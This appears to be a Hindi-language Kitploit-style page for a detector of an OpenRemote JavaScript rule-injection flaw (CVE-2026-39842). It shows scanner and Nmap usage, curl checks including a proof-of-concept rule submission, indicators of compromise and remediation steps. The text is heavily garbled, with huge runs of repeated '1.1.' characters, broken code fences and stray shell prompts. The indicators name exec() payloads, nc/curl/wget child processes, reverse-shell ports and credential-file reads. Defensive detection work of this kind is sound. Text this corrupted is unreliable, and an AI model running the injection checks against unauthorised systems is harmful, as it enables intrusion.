1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.```

[*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+

root@kitploit:~
#### उदाहरण: आउटपुट के साथ एकाधिक लक्ष्य```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

File targets.txt:``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080

root@kitploit:~
प्रत्याशित आउटपुट `results.csv` में:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

उदाहरण: विस्तृत आउटपुट```bash

python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner

root@kitploit:~
अपेक्षित विस्तृत आउटपुट:```
[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES

Nmap NSE स्क्रिप्ट

openremote-detect.nse स्क्रिप्ट भेद्यता स्कैनिंग के लिए Nmap एकीकरण प्रदान करती है।

इंस्टॉलेशन```bash

cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb

root@kitploit:~
#### उपयोग```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>

उदाहरण: बेसिक स्कैन```bash

nmap -p 8080 --script openremote-detect 192.168.1.0/24

root@kitploit:~
## 3.2.2.2.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched

उदाहरण: वर्बोज़ स्कैन```bash

nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100

root@kitploit:~
अपेक्षित विस्तृत आउटपुट:```
| openremote-detect:
|   Host: 192.168.1.100:8080
|   Detection Method: HTTP Banner Analysis
|   Probe Endpoint: /api/info
|   Response Code: 200
|   Version: 1.21.0
|   Version Detected: YES
|   Vulnerable: YES
|   CVE-2026-39842: AFFECTED
|   CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|   CVSS Score: 10.0
|   Fix Available: YES
|   Fixed Version: 1.22.0
|   Authentication Required: YES
|   Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_  Endpoint Vulnerable: POST /api/{realm}/rules/asset

मैन्युअल सत्यापन

curl का उपयोग करके भेद्यता की पुष्टि करने के लिए मैन्युअल जाँच करें:

1. OpenRemote संस्करण पहचानें```bash curl -s http://target:8080/api/info | jq .

root@kitploit:~
यह टूल आपको अपने नेटवर्क पर विभिन्न सेवाओं की पहचान करने और उनका विश्लेषण करने में मदद करता है। यह पोर्ट स्कैनिंग, सेवा पहचान और कमजोरियों की जांच के लिए एक व्यापक समाधान प्रदान करता है।```json
{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}

2. नियम एंडपॉइंट की जाँच करें```bash curl -s -H "Authorization: Bearer TOKEN"
http://target:8080/api/master/rules/realm | head -20

root@kitploit:~
यदि 401 या 403 लौटता है, तो एंडपॉइंट मौजूद है लेकिन उसे प्रमाणीकरण की आवश्यकता है।

**3. प्रमाणीकरण करें और एक्सप्रेशन इंजेक्शन का परीक्षण करें**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm

यदि सफल निर्माण और संस्करण <= 1.21.0 है, तो इंस्टेंस असुरक्षित है।

4. जावास्क्रिप्ट निष्पादन का परीक्षण (प्रूफ ऑफ कॉन्सेप्ट)```bash curl -X POST
-H "Content-Type: application/json"
-H "Authorization: Bearer YOUR_TOKEN"
-d '{ "name": "poc_rule", "trigger": "timer", "ruleExpression": "var x = 5; x * 2;" }'
http://target:8080/api/master/rules/realm

root@kitploit:~
**5. रियल्म का नाम पहचानें**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name

Common realm names: master, default, main


समझौते के संकेत (Indicators of Compromise)

लॉग संकेत (Log Indicators)

इन पैटर्न के लिए एप्लिकेशन लॉग खोजें:

JavaScript पेलोड के साथ नियम निर्माण (Rule Creation with JavaScript Payload)``` Pattern: POST /api/./rules/. with JavaScript containing Java.type Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"

root@kitploit:~
**नियमों में कमांड निष्पादन के प्रयास**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"

Java से अप्रत्याशित प्रोसेस निष्पादन``` Pattern: Child processes spawned by OpenRemote Java process Command: ps aux | grep -i openremote Look for: bash, sh, curl, wget, nc spawned by java process

root@kitploit:~
**फ़ाइल सिस्टम एक्सेस विसंगतियाँ**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd

डेटाबेस एक्सेस पैटर्न``` Pattern: SELECT queries accessing other realms' data Anomaly: Queries from rules engine accessing cross-tenant data Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)

root@kitploit:~
### नेटवर्क संकेतक

**OpenRemote प्रक्रिया से बाहरी कनेक्शन**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers

रिवर्स शेल कॉलबैक``` Pattern: Outbound TCP/UDP connections from port 8080 server Destinations: Suspicious IPs, non-standard ports Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'

root@kitploit:~
**पार्श्व गति के प्रयास**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services

फ़ाइल सिस्टम संकेतक

OpenRemote निर्देशिका में संदिग्ध फ़ाइलें``` /opt/openremote/.backdoor /opt/openremote/shell.sh /opt/openremote/config/stolen_data.txt /var/tmp/openremote_exploit /tmp/.java*

root@kitploit:~
**संशोधित OpenRemote बाइनरीज़**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes

क्रॉन या पर्सिस्टेंस जॉब्स``` cat /etc/cron.d/* | grep openremote cat /var/spool/cron/crontabs/* | grep -i java cat ~/.bashrc ~/.bash_profile | grep -v '^#'

root@kitploit:~
### मेमोरी और प्रोसेस संकेतक

**संदिग्ध पर्यावरण चर**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'

मेमोरी-रेसिडेंट पेलोड``` strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'

root@kitploit:~
---

## निवारण

### तत्काल कार्रवाइयाँ (0-24 घंटे)

**1. फिक्स्ड संस्करण में अपग्रेड करें**

पूर्ण सुधार केवल OpenRemote 1.22.0+ में उपलब्ध है, जो जावास्क्रिप्ट नियम इंजन को पूरी तरह से हटा देता है।```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version

2. API एक्सेस प्रतिबंधित करें

यदि तत्काल अपग्रेड संभव नहीं है, तो फ़ायरवॉल/रिवर्स प्रॉक्सी स्तर पर कमजोर एंडपॉइंट्स तक पहुंच प्रतिबंधित करें:```nginx

Nginx example

location ~ ^/api/.*/rules/ { return 403; }

root@kitploit:~
**3. सक्रिय नियमों का ऑडिट करें**

सभी मौजूदा नियमों की सूची बनाएं और संदिग्ध JavaScript के लिए समीक्षा करें:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'

Delete करें Java interop वाले किसी भी नियम को:```bash curl -X DELETE
-H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/master/rules/realm/{RULE_ID}

root@kitploit:~
**4. एक्सेस लॉग की समीक्षा करें**

पिछले 30 दिनों में शोषण के प्रयासों की जाँच करें:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"

5. क्रेडेंशियल रोटेशन

संभावित रूप से उजागर हुए सभी क्रेडेंशियल्स को रोटेट करें:```

  • OpenRemote admin passwords
  • Database passwords
  • API keys and tokens
  • SSH keys if accessible
  • Environment variable secrets
root@kitploit:~
### अल्पकालिक कार्रवाइयाँ (1-7 दिन)

**1. नेटवर्क विभाजन**

OpenRemote API एक्सेस को केवल अधिकृत नेटवर्क तक सीमित करें:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization

2. भूमिका ऑडिट

write:rules भूमिका वाले उपयोगकर्ताओं की समीक्षा करें और उन्हें न्यूनतम करें:```bash curl -s -H "Authorization: Bearer ADMIN_TOKEN"
http://localhost:8080/api/admin/users |
jq '.[] | select(.roles | contains("write:rules"))'

root@kitploit:~
Remove `write:rules` भूमिका को सभी गैर-आवश्यक उपयोगकर्ताओं से हटाएँ।

**3. अनुरोध लॉगिंग सक्षम करें**

सभी API अनुरोधों के लिए विस्तृत लॉगिंग कॉन्फ़िगर करें:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE

4. डेटाबेस ऑडिट

किसी विशिष्ट तिथि के बाद बनाए गए दुर्भावनापूर्ण नियमों के लिए डेटाबेस खोजें:```sql SELECT id, name, ruleset_def, created_on FROM RULE WHERE created_on > '2026-04-01' AND ( ruleset_def LIKE '%Java.type%' OR ruleset_def LIKE '%Runtime%' OR ruleset_def LIKE '%exec%' );

root@kitploit:~
**5. खतरे की खोज (Threat Hunting)**

OpenRemote सर्वर पर पूर्ण सुरक्षा स्कैन चलाएँ:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check

दीर्घकालिक कार्रवाइयाँ (7-30 दिन)

1. पूर्ण सिस्टम हार्डनिंग

  • OpenRemote को सीमित विशेषाधिकारों (गैर-रूट) वाले कंटेनर में चलाएँ
  • SELinux या AppArmor नीतियाँ लागू करें
  • जहाँ संभव हो रीड-ओनली फ़ाइल सिस्टम का उपयोग करें
  • सिस्टम स्तर पर ऑडिट लॉगिंग सक्षम करें

2. एक्सेस कंट्रोल कार्यान्वयन

  • एडमिन उपयोगकर्ताओं के लिए मल्टी-फैक्टर प्रमाणीकरण लागू करें
  • टोकन प्रमाणीकरण के बजाय API एक्सेस के लिए OAuth2/OIDC का उपयोग करें
  • सभी भूमिकाओं के लिए न्यूनतम विशेषाधिकार का सिद्धांत लागू करें
  • नियमित एक्सेस समीक्षाएँ और प्रमाणन

3. एप्लिकेशन सुरक्षा

  • नियम इंजन के लिए वेब एप्लिकेशन फ़ायरवॉल (WAF) नियम लागू करें
